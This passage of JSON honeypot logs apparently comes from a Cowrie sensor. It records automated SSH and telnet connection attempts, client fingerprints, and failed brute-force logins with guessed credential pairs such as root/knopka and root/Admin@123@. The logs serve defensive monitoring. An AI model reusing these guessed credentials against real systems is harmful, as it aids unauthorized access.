-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:05.306835Z","src_ip":"59.16.212.232","session":"32c8899b8111","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":37970,"dst_ip":"159.203.135.109","dst_port":22,"session":"baf98be87b2c","protocol":"ssh","message":"New connection: 185.236.22.41:37970 (159.203.135.109:22) [session: baf98be87b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:06.084104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:06.136540Z","src_ip":"185.236.22.41","session":"baf98be87b2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"william","password":"william","message":"login attempt [william/william] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:06.151058Z","src_ip":"59.16.212.232","session":"32c8899b8111","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:06.211371Z","src_ip":"185.236.22.41","session":"baf98be87b2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"knopka","message":"login attempt [root/knopka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:06.671487Z","src_ip":"185.236.22.41","session":"baf98be87b2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:07.359448Z","src_ip":"59.16.212.232","session":"32c8899b8111","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:07.793604Z","src_ip":"185.236.22.41","session":"baf98be87b2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.13492703437805,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:09.635304Z","src_ip":"152.42.224.71","session":"1f19503e86e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":60014,"dst_ip":"159.203.135.109","dst_port":22,"session":"4af946e2c555","protocol":"ssh","message":"New connection: 103.27.238.116:60014 (159.203.135.109:22) [session: 4af946e2c555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:09.816869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:09.821221Z","src_ip":"103.27.238.116","session":"4af946e2c555","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:10.101825Z","src_ip":"103.27.238.116","session":"4af946e2c555","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"258963","message":"login attempt [root/258963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:10.953457Z","src_ip":"103.27.238.116","session":"4af946e2c555","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:12.235422Z","src_ip":"103.27.238.116","session":"4af946e2c555","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":49838,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3d65771f579","protocol":"ssh","message":"New connection: 147.45.199.80:49838 (159.203.135.109:22) [session: c3d65771f579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:17.207670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:17.213171Z","src_ip":"147.45.199.80","session":"c3d65771f579","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:17.314572Z","src_ip":"147.45.199.80","session":"c3d65771f579","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p0o9i8u7","message":"login attempt [root/p0o9i8u7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:17.619109Z","src_ip":"147.45.199.80","session":"c3d65771f579","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:18.728421Z","src_ip":"147.45.199.80","session":"c3d65771f579","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":58474,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e0233dd557f","protocol":"ssh","message":"New connection: 193.32.162.145:58474 (10.17.0.5:22) [session: 3e0233dd557f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:20.305085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:20.325780Z","src_ip":"193.32.162.145","session":"3e0233dd557f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:20.432773Z","src_ip":"193.32.162.145","session":"3e0233dd557f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"shredrum","message":"login attempt [ubuntu/shredrum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:20.747979Z","src_ip":"193.32.162.145","session":"3e0233dd557f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:21.851340Z","src_ip":"193.32.162.145","session":"3e0233dd557f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47912,"dst_ip":"10.17.0.5","dst_port":23,"session":"e10eeb5de0f8","protocol":"telnet","message":"New connection: 152.42.224.71:47912 (10.17.0.5:23) [session: e10eeb5de0f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:25.688203Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48596,"dst_ip":"10.17.0.5","dst_port":23,"session":"235436f7de4a","protocol":"telnet","message":"New connection: 152.42.224.71:48596 (10.17.0.5:23) [session: 235436f7de4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:27.610412Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48600,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c850220434c","protocol":"telnet","message":"New connection: 152.42.224.71:48600 (10.17.0.5:23) [session: 1c850220434c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:31.498945Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.234.173","src_port":35592,"dst_ip":"10.17.0.5","dst_port":22,"session":"bed57f95d5a7","protocol":"ssh","message":"New connection: 185.242.234.173:35592 (10.17.0.5:22) [session: bed57f95d5a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:34.858799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:34.866767Z","src_ip":"185.242.234.173","session":"bed57f95d5a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48606,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3bc0e07b185","protocol":"telnet","message":"New connection: 152.42.224.71:48606 (10.17.0.5:23) [session: f3bc0e07b185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:35.067826Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48618,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7b3c7c32cca","protocol":"telnet","message":"New connection: 152.42.224.71:48618 (10.17.0.5:23) [session: c7b3c7c32cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:35.837007Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:36.580493Z","src_ip":"185.242.234.173","session":"bed57f95d5a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123@","message":"login attempt [root/Admin@123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:37.037879Z","src_ip":"185.242.234.173","session":"bed57f95d5a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:38.268796Z","src_ip":"185.242.234.173","session":"bed57f95d5a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":113.73266577720642,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:52.367522Z","src_ip":"152.42.224.71","session":"9e13b70d0580","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.6122944355011,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:53.300346Z","src_ip":"152.42.224.71","session":"e10eeb5de0f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.792379140853882,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:59.860074Z","src_ip":"152.42.224.71","session":"f3bc0e07b185","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88102674484253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:06.717896Z","src_ip":"152.42.224.71","session":"c7b3c7c32cca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.200.156","src_port":55336,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1b14f5c65ec","protocol":"ssh","message":"New connection: 49.51.200.156:55336 (10.17.0.5:22) [session: a1b14f5c65ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:13.142985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:13.150424Z","src_ip":"49.51.200.156","session":"a1b14f5c65ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:13.215588Z","src_ip":"49.51.200.156","session":"a1b14f5c65ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678aA","message":"login attempt [root/12345678aA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:13.482415Z","src_ip":"49.51.200.156","session":"a1b14f5c65ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:14.555371Z","src_ip":"49.51.200.156","session":"a1b14f5c65ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.85.27","src_port":42668,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0e3349e05b2","protocol":"ssh","message":"New connection: 43.153.85.27:42668 (10.17.0.5:22) [session: a0e3349e05b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:16.927412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:16.932404Z","src_ip":"43.153.85.27","session":"a0e3349e05b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:17.005794Z","src_ip":"43.153.85.27","session":"a0e3349e05b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"David123","message":"login attempt [root/David123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:17.310974Z","src_ip":"43.153.85.27","session":"a0e3349e05b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.734455823898315,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:18.233270Z","src_ip":"152.42.224.71","session":"1c850220434c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:18.382592Z","src_ip":"43.153.85.27","session":"a0e3349e05b2","protocol":"ssh"}
